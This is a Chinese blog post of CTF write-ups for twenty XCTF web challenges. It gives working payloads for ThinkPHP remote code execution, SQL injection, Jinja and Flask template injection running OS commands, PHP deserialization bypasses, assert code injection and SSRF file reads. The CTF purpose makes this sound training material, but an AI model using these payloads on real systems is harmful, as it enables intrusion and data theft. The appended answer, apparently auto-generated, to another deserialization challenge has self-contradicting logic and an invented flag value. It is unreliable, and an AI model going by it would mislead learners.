攻防世界(web高手进阶区)——1~20题

baby_web

 

Training-WWW-Robots

 

php_rce

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27

https://blog.csdn.net/qq_40884727/article/details/101452478

 

Web_php_include

过滤了php:// 大写绕过即可,也可用data://text/plain;base64,xxxx(base64编码后的数据),或者挂马(没必要)

 

Warmup

file=source.php%253f/../../../../../ffffllllaaaagggg

其实file=source.php?/../../../../../ffffllllaaaagggg就可以第一次截断过了就返回true了

NewsCenter

1‘ or 1=1#回显 1’ or 1=2#没反应 有注入,且无任何防护,常规注入即可

1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#

1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#

1' union select 1,2,(select group_concat(fl4g) from news.secret_table)#

或者直接抓个包丢sqlmap啦

NaNNaNNaNNaN-Batman

下载后打开

将eval函数改为alert(),改文件后缀名为.html打开即可将原函数弹出来

function $(){

var e=document.getElementById("c").value;

if(e.length==16)

       if(e.match(/^be0f23/)!=null)

              if(e.match(/233ac/)!=null)

                     if(e.match(/e98aa$/)!=null)

                            if(e.match(/c7be9/)!=null){

                                   var t=["fl","s_a","i","e}"];

                                   var n=["a","_h0l","n"];

                                   var r=["g{","e","_0"];

                                   var i=["it'","_","n"];

                                   var s=[t,n,r,i];

                                   for(var o=0;o<13;++o){

                                          document.write(s[o%4][0]);s[o%4].splice(0,1)

                                          }

                                   }

                            }

                            document.write('<input id="c"><button οnclick=$()>Ok</button>');

                            delete

只要e的规则符合长度为16并且以be0f23开头以e98aa结尾并且需要匹配233ac和c7be9即可.

也就是be0f233ac7be98aa,题目的意思应该是在这输入框提交即可得flag,

或者在火狐控制台中直接运行正则后得代码就可以弹出来flag

PHP2

进去是空的,试了试发现有源码泄露

发现不全,查看源代码试试

对id的值二次url encode即可,为了方便只对a做处理 id=%2561dmin

unserialize3

也就是要绕过wakeup,反序列化时,__wakeup触发于unserilize()调用之前,但是如果表示对象属性个数的值大于真实的属性个数时,会导致反序列化失败而同时使得__wakeup失效。

打印出序列化的字符串,然后改一下值提交就行

Upload1

用了js做了文件限制

选择文件跳出弹框之后,直接删了就行

还贴心的给了上传路径,菜刀链接即可

Web_python_template_injection

明摆着就是模板注入呗

看了看没别的地方提交数据了,在url尝试

证明有注入,直接上payload,命令执行{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}},再用cat读出来就行

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat fl4g").read()')}}

Web_php_unserialize

看名字反序列化没跑了,打开就送源代码

应该还是要绕过wakeup,不过这里得绕过个正则preg_match('/[oc]:d+:/i',$var);利用符号+就不会对`([字符O或C]:[一个或多个数字])`格式进行匹配

改成O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},再base64加密一下,Tzo0OiJEZW1vIjoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbCs0Zy5waHAiO30=

提交发现不行。。。。看了别人的wp用的是

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

用的是php里的加密var_dump(base64_encode($C));,和我用hackbar加密出来的不一样。。好像是字符串里面有一些空字符根本没法被编码

测试一下确实是空字符,显示以及复制的话都是一样的,但明显字符串的长度不同

 

还是全部用脚本吧

<?php

class Demo {

    private $file = 'index.php';

    public function __construct($file) {

        $this->file = $file;

    }

    function __destruct() {

        echo @highlight_file($this->file, true);

    }

    function __wakeup() {

        if ($this->file != 'index.php') {

            //the secret is in the fl4g.php

            $this->file = 'index.php';

        }

    }

}

    $A = new Demo('fl4g.php');

    $C = serialize($A);

    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match

    $C = str_replace(':1:', ':2:',$C);//绕过wakeup

    var_dump($C);

    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

    var_dump(base64_encode($C));

    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

?>

提交即可

Supersqli1

过滤了一些字符,试试报错 1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#,得到数据库名

  

1' and (extractvalue(1,concat(0x7e, version(),0x7e)))#  得到数据库的版本信息 10.3.18-MariaDB

但后面的查询仍会用到select,/i表示对大小写进行检查,所以大小写绕过无效,好像没别的法子了,尝试堆叠注入

1' ;show tables#  查表

 

1' ;show columns from `1919810931114514`# 查字段(这个表名比较可疑就查这个,字符串为表名进行操作时要加反引号)

但用show打不出数据了,不过可以通过执行多语句,将要执行的sql语句进行拼接,这样就可以将过滤的 sql关键字拆分绕过检测,通过动态执行sql语句,这里使用了strstr对set和prepare关键字进行了检查,但是strstr检查不对大小写进行检查,所以这里可以通过大小写绕过,set和prepare关键字只要有一个是大写就可以绕过。

';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

看别人做的发现并没有过滤rename和alter等,所以也可以改变表的结构。构造语句

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

先把words表名改为其他名,再把1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表,输入1查询就行

Easytornado

 

应该是和render有关的python模板注入,tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

改一下url里的任意参数,报错了,有个msg参数可以提交,测试是不是模板注入,发现很多运算符都被过滤了

render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如
         {{ escape(handler.settings["cookie"]) }}

其中这个handler.settings对象,handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是环境变量,可以从这里获取的cookie_secret

下面就用hint.txt的加密公式,用python把flag.txt给出的文件名加密然后再url打开就行了

# encoding: utf-8

import hashlib

 

def md5(str):

    m = hashlib.md5()

    m.update(str)

    return m.hexdigest()

 

if __name__ == "__main__":

       filename = '/fllllllllllllag'

       cookie_secret = 'b3a3ad1a-b4bc-4d3c-84a0-b7ddaf646f50'

       flag = md5(cookie_secret+md5(filename))

print(flag)

 

Ics

只有报表中心能点,有个id可以传参,以为是sql但没反应,发现id处值150都没报错啥的,用bp爆破一下id=2333时弹出flag

 

注册用户,买彩票然后,花钱买flag

关键是要知道生成规则,看了一圈别的地方没有什么线索

但发现有源码泄露,用githack搞下来,去看主要的api.php源码

跟踪到random_win_nums()函数

再转到random_num()函数

openssl_random_pseudo_bytes — 生成一个伪随机字节串,字节数由 length 参数指定,生成的伪随机字节序列将是唯一的,如果它们有足够的长度,但不一定是不可预测的。

生成过程大致就是:openssl_random_pseudo_bytes生成一个伪随机字节串,然后ord取其第一个字符的ascii码值,要是小于250,就除以25,结果取整,转为字符串返回

但这个没地方下手啊,只能回头看看用户数据传入和比较的地方

好像没有过滤,利用弱类型比较绕过true==数字,

重复发几遍包,钱够了就能买flag了

mfw

用了什么语言,框架都有了,肯定还有.git泄露

用GitHack获取

Flag.php没什么东西,去看index.php的代码,主要是这两句,这里有assert这个函数在,那应该就是代码执行漏洞没跑了

返回内容要查看源代码:

?page=').system("ls");//

?page=').system("ls templates");//

?page=').system("cat templates/flag.php");//

直接显示:

?page='.system("ls").'

?page='.system("ls templates").'

?page='.system("cat templates/flag.php").'   //flag要查看源代码获得

web2

打开就送源代码和提示

中间那段for循环,返回每一位字符的ascii码+1的字符重新组成字符串

写个decode脚本

<?php

$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

$txt1="学习 PHP";

function decode($str){

       $_o=base64_decode(strrev(str_rot13($str)));

       for($_0=0;$_0<strlen($_o);$_0++){

      

        $_c=substr($_o,$_0,1);

        $__=ord($_c)-1;

        $_c=chr($__);

        $_=$_.$_c;  

    }

       return strrev($_);

}

echo decode($miwen);

?>

跑出flag提交即可

shrine

查看源码

很明显,flask ssti模板注入,根据路由注入点在/shrine/后面,但要绕过过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单

源码中app.config['FLAG'] = os.environ.pop('FLAG'),推测{{config}}可查看所有app.config内容

在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。

config 对象:

config 对象就是Flask的config对象,也就是 app.config 对象。

{{ config.SQLALCHEMY_DATABASE_URI }}

虽然有过滤但python还有一些内置函数,比如url_for和get_flashed_messages

url_for()作用:

(1)给指定的函数构造 URL。

(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。

get_flashed_messages方法: 返回之前在Flask中通过 flash() 传入的信息列表。

payload:

{{url_for.__globals__['current_app'].config['FLAG']}}

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

 

fakebook

join之后,点开用户查看,其中博客地址需要http(s)开头的,感觉就是把你给的博客地址内容加载进去

扫描发现有robots.txt, 查看发现有备份文件

下载后浏览器打开,查看源代码,得到整理过的源码,进行审计

我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面

Get()方法并没有对获取过来的url进行任何的过滤所以这里存在SSRF,curl不仅可以http、https还可使用file协议,构造反序列字符串读取flag.php。

然后就是要找到注入点,在参数no处测试?no=1 and 1=1,?no=1 and 1=2

数字型注入,且爆出了网站的绝对路径,下面先正常注入

爆表名 ?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

爆列名 ?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

可以看到有四列,用user.php获取序列化后的字符串,构造语句注入即可,/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

路径已经通过union注入,显示在blog的位置,f12查看

打开链接,查看源码即可得flag

  • 2
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这道是一个 PHP 反序列化的目。 目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值